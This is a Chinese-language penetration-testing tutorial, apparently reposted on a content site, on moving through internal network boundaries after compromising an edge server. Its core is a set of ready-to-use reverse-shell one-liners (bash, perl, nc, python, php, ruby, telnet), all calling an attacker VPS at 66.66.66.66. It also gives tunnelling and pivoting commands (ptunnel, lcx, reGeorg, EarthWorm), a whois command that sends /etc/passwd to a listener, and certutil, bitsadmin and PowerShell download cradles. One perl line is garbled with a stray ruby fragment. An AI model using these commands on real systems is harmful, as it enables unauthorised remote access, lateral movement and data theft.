内网跨“边界”

背景

“边界”通常是指内网与外网之间的那条边界,在内网中,边界也包括各个区域之间的边界。本篇文章主要介绍在内网各种环境中的shell反弹、内网穿透及文件传输方面常用的一些方法和工具,利用这些方法来跨越内网中的层层边界。

当我们获取到互联网边界服务器权限之后,我们可以通过边界服务器对内网进行探测,收集一些内网信息,比如扫描内网存活的主机、系统指纹识别、开放的端口和服务,之后通过某些攻击方式获取到内网服务器权限。如果内网环境比较复杂,划分多个区域,不通区域之间访问策略各有限制,就需要在内网区域之间进行层层穿透。

网络连通性

获取到内网某台设备权限之后,需要先测试一下网络连通性,常用的测试有ping、http、tcp、dns等方式。

ping:   

    ping www.xx.com  

http:     

    curl www.xx.com

dns:

    1. 在http://www.dnslog.cn/里生成一个子域名,xxxx.dnslog.cn

    2. 使用nslookup xxxx.dnslog.cn

    3. 查看该子域名访问记录,如果没有记录,则说明不可以访问互联网

内网跨边界之反弹shell

我们在获取内网设备权限的时候可以将其shell反弹到我们位于公网的VPS上,利用后渗透工具协同作战,可以方便进行我们后续的工作。

VPS假定的ip为66.66.66.66,监听端口为1234nc -lvvp 1234

bash:

bash -I >& /dev/tcp/66.66.66.66/1234 0>&1

perl:

 perl -e 'use Socket;$i="66.66.66.66";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
ets);IO.popen(cmd,"r"){|io|c.print io.read}end'

nc:

nc -vv 66.66.66.66 1234 -e /bin/bash

telnet:

mknod backpipe p && telnet 66.66.66.66 1234 0<backpipe | /bin/bash 1>backpipe 

python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("66.66.66.66",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php:

php -r '$sock=fsockopen("66.66.66.66",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("66.66.66.66","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 

内网跨边界之内网穿透

在内网设备不能出网的情况下,我们可以建立隧道从而达到我们访问内网的目的;同样我们也可以利用隧道对多区域多层级内网进行穿透,直抵目标。

穿透前,client端只能访问到web_server,无法访问到db_server

图片

穿透后,client通过web_server,可以访问到db_server

图片

代理分为正向代理和反向代理

正向代理:代理客户端流量,对服务端而言无法发现真实的客户端信息。

图片

反向代理:代理服务端流量,对客户端而言无法发现真实的服务端信息。

图片

网络层隧道

icmp隧道:

将数据封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复,这种方式可以绕过防火墙对TCP与UDP的限制策略,类似的还有IPv6隧道技术。

1、使用ptunnel在跳板机上建立隧道的一端。

ptunnel -x password

2、在VPS上使用ptunnel设置将内网3389端口和本地1234端口建立隧道

ptunnel -p 跳板机 IP -lp 1234 -da 内网设备 IP-dp 3389 -x password

传输层隧道

通常说我们说的端口转发就是建立了一个传输层隧道,我们进行端口转发可以绕过防火墙对某些特定端口的限制,比如22、3389等。

LCX:

lcx.exe -tran 1234 127.0.0.1 3389 #将本地3389端口转发到1234端口上

在跳板机执行 :

lcx.exe -slave 66.66.66.66 1234 192.168.1.1 3389 #将内网192.168.1.1上3389端口转发到外网66.66.66.66上的1234端口

在VPS上执行 :

lcx.exe -listen 1234 4321 #将1234端口的流量转发到4321端口,结合上条命令,访问66.66.66.66的4321端口就等同于访问192.168.1.1的3389端口

应用层隧道

利用HTTP、SSH等应用层协议建立隧道,HTTP隧道在web应用服务器上使用简单,对权限要求低,regeorg 与tunna、reDuh类似。

regeorg:

1、在web目录下上传脚本,以aspx为例,上传成功后访问该脚本,显示如下图。

图片

2、在VPS上运行:

python reGeorgSocksProxy.py -u "http:// xx.com/tunnel.aspx" -l 0.0.0.0 -p 1234 #这样VPS的1234端口与web服务器的隧道就建立起来了。

3、配置好socks代理设置后就可以通过本地的1234端口访问web服务器可访问的内网设备。

ssh tunnel: 

ssh -C -f -N -g -L 0.0.0.0:1234:192.168.1.1:3389 user@跳板机ip -p 22(需要跳板机ssh的密码)

将内网192.168.1.1的3389端口通过跳板机转发到vps的1234端口。

socks代理

ew(EarthWorm)

EW 是一套便携式的内网穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道。

正向socks代理:

ew -s ssocksd -l 1080

反向socks代理:

在vps上执行:

ew -s rcsocks -l 1080 -e 1234

在跳板机上执行:

ew -s rssocks -d vps_ip -e 1234

在vps上通过1080端口即可访问跳板机内网段设备。

二级正向代理:

在一级内网机器上执行(该一级内网机器可访问二级内网):

ew -s ssocksd -l 1081

在跳板机上进行端口转发:

ew -s lcx_tran -l 1080 -f 一级内网ip -g 1081

在VPS上配置socks代理,代理配置指向跳板机的1080端口,即可访问二级内网。

EW最有强大的就是它的多级代理,操作方便,层层穿透,直达目标。

内网跨边界之文件传输

进入内网后,可能需要将某些文件工具进行上传或下载,但是内网数据存放的环境各种各样,在面对不同的内网环境情况下,我们需要多储备一些在不同环境下进行文件传输的方法。

nc:

接收机:

nc -lvvp 1234 > save.txt   #将收到的文件保存为save.txt

发送机:

nc 接收机ip 1234 < send.txt #传输send.txt文件

此时接收机上的save.txt文件就是发送机上的send.txt文件。

whois命令:

接收机:

nc -lvvp 1234

发送机:

whois -h 接收机ip -p 1234 `cat /etc/passwd `

此时在接收机上即可看到发送机的/etc/passwd信息

vbs:

在发送机web根目录下放置一个send.zip

在接收机上创建save.vbs,内容如下:

set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET","http://发送机ip/send.zip",0xPost.Send()set sGet=createObject("ADODB.Stream")sGet.Mode=3sGet.Type=1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile "c:\save.zip",2

执行后在C盘录下查看save.zip。

Python:

在发送机web根目录下放置一个send.zip

在接收机上创建save.py,内容如下:

#!/usr/bin/pythonimport urllib2u = urllib2.urlopen('http://发送机ip/send.zip')localFile = open('/tmp/save.zip','w')localFile.write(u.read())localFile.close()

执行后在/tmp目录下查看。

ruby:

在发送机web根目录下放置一个send.zip

在接收机上创建save.rb,内容如下:​​​​​​​

#!ruby#!/usr/bin/rubyrequire 'net/http'Net::HTTP.start("发送机ip/send.zip"){|http|r=http.get("/send.zip")open("/tmp/save.zip","wb"){|file|file.write(r.body)}}

执行后在/tmp目录下查看。

wget:

在发送机web根目录下放置一个send.zip

在接收机执行

wget http://发送机ip/send.zip -P /tmp/

powershell:

在发送机web根目录下放置一个send.zip

在接收机创建save.ps1,内容如下:​​​​​​​

$d = New-Object System.Net.WebClient$d.DownloadFile("http://发送机ip/send.zip","c:/save.zip")

perl:

在发送机web根目录下放置一个send.zip

在接收机创建save.pl,内容如下:​​​​​​​

use LWP::Simple;my $url = 'http://发送机ip/send.zip';my $file = '/tmp/save.zip';getstore($url,$file);bitsadmin:在发送机web根目录下放置一个send.zip

在接收机执行

bitsadmin /transfer n http://发送机ip/send.zip c:\save.zip

scp:

在发送机/tmp目录下创建send.txt

在接收机执行

scp user@发送机ip:/tmp/send.txt save.txt

certutil:

在发送机web根目录下放置一个send.zip

在接收机执行

certutil.exe -urlcache -split -f http://发送机ip/send.zip c:\save.zip

总结

随着安全设备和安全软件开始 “盯上” 这些工具,检测力度的升级使得很多工具都会被查杀,工具免杀是个很好的研究方向。攻、防 总是相爱相杀,在对抗中提升各自的能力,推动安全技术的发展。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/889461.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Docker的镜像

目录 1. 镜像是什么&#xff1f;&#xff1f;2. 镜像命令详解2.1 镜像命令清单2.2 docker rmi命令2.3 docker save命令2.4 docker load命令2.5 docker history命令2.6 docker import命令2.7 docker image prune命令2.8 docker build命令 3. 镜像的操作4. 离线迁移镜像5. 镜像存…

Vue Web开发(五)

1. axios axios官方文档 异步库axios和mockjs模拟后端数据&#xff0c;axios是一个基于promise的HTTP库&#xff0c;使用npm i axios。在main.js中引入&#xff0c;需要绑定在Vue的prototype属性上&#xff0c;并重命名。   &#xff08;1&#xff09;main.js文件引用 imp…

【合作原创】使用Termux搭建可以使用的生产力环境(六)

前言 在上一篇【合作原创】使用Termux搭建可以使用的生产力环境&#xff08;五&#xff09;-CSDN博客我们讲到了如何美化xfce4桌面&#xff0c;达到类似于Windows的效果&#xff0c;这一篇将继续在上一篇桌面的基础上给我们的系统装上必要的软件&#xff0c;让它做到真正可以使…

docker简单私有仓库的创建

1&#xff1a;下载Registry镜像 导入镜像到本地中 [rootlocalhost ~]# docker load -i registry.tag.gz 进行检查 2&#xff1a;开启Registry registry开启的端口号为5000 [rootlocalhost ~]# docker run -d -p 5000:5000 --restartalways registry [rootlocalhost ~]# dock…

AI技术架构:从基础设施到应用

人工智能&#xff08;AI&#xff09;的发展&#xff0c;正以前所未有的速度重塑我们的世界。了解AI技术架构&#xff0c;不仅能帮助我们看懂 AI 的底层逻辑&#xff0c;还能掌握其对各行业变革的潜力与方向。 一、基础设施层&#xff1a;AI 技术的坚实地基 基础设施层是 AI 技…

Python Turtle 实现动态时钟:十二时辰与星空流星效果

在这篇文章中&#xff0c;我将带你通过 Python 的 turtle 模块构建一个动态可视化时钟程序。这个时钟不仅具备传统的时间显示功能&#xff0c;还融合了中国古代的十二时辰与八卦符号&#xff0c;并通过动态星空、流星效果与昼夜背景切换&#xff0c;为程序增添了观赏性和文化内…

使用CSS变量和JavaScript实现鼠标跟随渐变

实现鼠标跟随渐变效果的详细过程&#xff1a; 1. HTML 结构 我们在 HTML 中创建了一个 <div> 元素&#xff0c;用于展示渐变效果。这个元素的 ID 是 gradient-box&#xff0c;方便在 JavaScript 中进行操作。 2. CSS 样式 CSS 变量&#xff1a;在 :root 中定义了两个…

监控易监测对象及指标之:宝兰德中间件JMX监控指标解读

监控易作为一款全面的IT监控软件&#xff0c;能够为企业提供深入、细致的监控服务&#xff0c;确保企业IT系统的稳定运行。在本文中&#xff0c;我们将详细解读监控易针对宝兰德中间件JMX的监控指标&#xff0c;以帮助用户更好地理解和应用这些监控数据。 监测指标概览&#x…

数据仓库-集群管理

主要介绍操作类问题中的集群管理问题。 无法成功创建数据仓库集群时怎么处理&#xff1f; 请检查用户账户余额是否少于100元&#xff0c;是否已经没有配额创建新的数据仓库集群&#xff0c;以及是否存在网络问题。 如账户余额、配额、网络均未发现问题&#xff0c;请联系客户…

期魔方风控模型之委托失败补单程序

你知道吗&#xff1f;只需简单设置&#xff0c;期魔方风控模型就能自动处理风控委托失败的订单&#xff0c;进行补单操作。 那么&#xff0c;这种功能适用于哪些场景呢&#xff1f;让我们一起来探讨一下&#xff01; 在实际交易中&#xff0c;我们有时会遇到在任意交易终端&a…

ubuntu系统的docker安装(2)

查看系统版本 lsb_release -asudo systemctl status docker查看docker是否安装成功 docker pull拉取镜像不成功/docker run不成功 可能有多种原因&#xff1a;网络链接不稳定&#xff0c;没有重启docker&#xff0c;可以先将docker源设置为国内镜像源 sudo systemctl rest…

Source Insight的使用经验汇总

01-Add All"和“Add Tree”有何区别&#xff1f; 在 Source Insight 中&#xff0c;“Add All”和“Add Tree”是两种向项目&#xff08;Project&#xff09;中添加文件的操作选项&#xff0c;它们的区别在于处理文件和目录的方式不同&#xff1a; 1. Add All 范围&am…

MVC基础——市场管理系统(四)

文章目录 项目地址六、EF CORE6.1 配置ef core环境6.2 code first6.2.1 创建Database context1. 添加navigation property2. 添加MarketContext上下文七、Authentication7.1 添加Identity7.2 Run DB migration for Identity7.3 使用Identity7.3.1 设置认证中间件7.3.2 设置权限…

前端编辑器JSON HTML等,vue2-ace-editor,vue3-ace-editor

与框架无关 vue2-ace-editor有问题&#xff0c;ace拿不到&#xff08;brace&#xff09; 一些组件都是基于ace-builds或者brace包装的 不如直接用下面的&#xff0c;不如直接使用下面的 <template><div ref"editor" class"json-editor"><…

Oracle 与 达梦 数据库 对比

当尝试安装了达梦数据库后&#xff0c;发现达梦真的和Oracle数据库太像了&#xff0c;甚至很多语法都相同。 比如&#xff1a;Oracle登录数据库采用sqlplus&#xff0c;达梦采用disql。 比如查看数据视图&#xff1a;达梦和Oracle都有 v$instance、v$database、dba_users等&a…

【docker】12. Docker Volume(存储卷)

什么是存储卷? 存储卷就是将宿主机的本地文件系统中存在的某个目录直接与容器内部的文件系统上的某一目录建立绑定关系。这就意味着&#xff0c;当我们在容器中的这个目录下写入数据时&#xff0c;容器会将其内容直接写入到宿主机上与此容器建立了绑定关系的目录。 在宿主机上…

汽车总线协议分析-CAN总线

随着汽车工业的发展&#xff0c;汽车各系统的控制逐步向自动化和智能化转变&#xff0c;汽车电气系统变得日益复杂。许多车辆设计使用CAN、CAN-FD、LIN、FlexRay或SENT在电子控制单元(ECU)之间以及ECU与传感器&#xff0c;执行器和显示器之间进行通信。这些ECU之间的通信允许车…

前端性能优化(理念篇)

前端性能优化&#xff08;理念篇&#xff09; 前言 其实前端性能优化&#xff0c;按照我的理解&#xff0c;首先你公司的硬件条件跟其它资源跟的上&#xff0c;比如服务器资源&#xff0c;宽带怎么样&#xff0c;还有后端接口响应如何&#xff0c;这些资源都具备后&#xff0…

IIS部署程序https是访问出现403或ERR_HTTP2_PROTOCOL_ERROR

一、说明 在windows server 2016中的IIS程序池里部署一套系统&#xff0c;通过https访问站点&#xff0c;同时考虑到安全问题以及防攻击等行为&#xff0c;就用上了WAF云盾功能&#xff0c;能有效的抵挡部分攻击&#xff0c;加强网站的安全性和健壮性。 应用系统一直能够正常…

【深度学习】热力图绘制

热力图&#xff08;Heatmap&#xff09;是一种数据可视化方法&#xff0c;通过颜色来表示数据矩阵中的数值大小&#xff0c;以便更直观地展示数据的分布和模式。热力图在许多领域中都有应用&#xff0c;尤其在统计分析、机器学习、数据挖掘等领域&#xff0c;能够帮助我们快速识…